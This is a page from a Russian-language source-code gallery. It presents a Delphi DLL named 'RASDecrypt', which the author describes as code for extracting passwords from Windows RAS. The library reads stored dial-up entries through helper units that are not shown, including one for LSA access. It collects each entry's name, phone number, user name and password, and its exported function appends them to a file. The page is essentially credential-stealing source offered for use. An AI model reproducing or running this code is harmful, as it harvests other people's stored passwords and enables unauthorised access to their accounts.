Исходники и листинги ::: Delphi ::: RASApi
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
  Library RASDecrypt;
  uses
    LmErr in 'LmErr.pas',
    LmCons in 'LmCons.pas',
    RasError in 'RasError.pas',
    Ras in 'Ras.pas',
    LSAManager in 'LSAManager.pas',
    RASReader in 'RASReader.pas',
    Windows;
  var
    RASViewer: TRASReader;
    RASResultString: string = '';
    MSGHandle: THandle;
  procedure RasCallback(PhoneNumber, AreaCode, UserName, Password, EntryName: String);
  begin
   RASResultString := RASResultString+' | '+('#Entry Name: '+EntryName+' | '+#13+
   ' | '+'#Phone Number: '+PhoneNumber+' | '+#13+' | '+
   '#Area Code: '+AreaCode+' | '+#13+' | '+'#User Name: '+UserName+
   ' | '+#13+' | '+'#Password: '+Password+' ;'+#13);
  end;
  procedure RASEntry(ResValue: string);
  var
    TFile: TextFile;
  begin
   AssignFile (TFile, ResValue);
   Append (TFile);
   WriteLn (TFile, RASResultString);
   CloseFile (TFile);
  end;
  exports RASEntry;
  begin
   RASViewer := TRASReader.Create;
   RASViewer.GetRasEntries(@RasCallback);
   RASViewer.Free;
  end.
<<< Предыдущая работа

Вернуться в галерею исходников 		RASApi
Автор: Moonglow*
Город: Бабруйск
 Дата: 22.01.2007  12:59
Комментариев: 0
Просмотров: 365
Оценка: 3 (1|1|1|0|0) [1]
Вернуться на главную
Авторский комментарий к работе: Исходник для вытаскивания паролей из RAS. Для работы необходимы заголовочные модули RAS Api от мелкософта.
Вы не можете оценивать

КОММЕНТАРИИ К РАБОТЕ:
Нет комментариев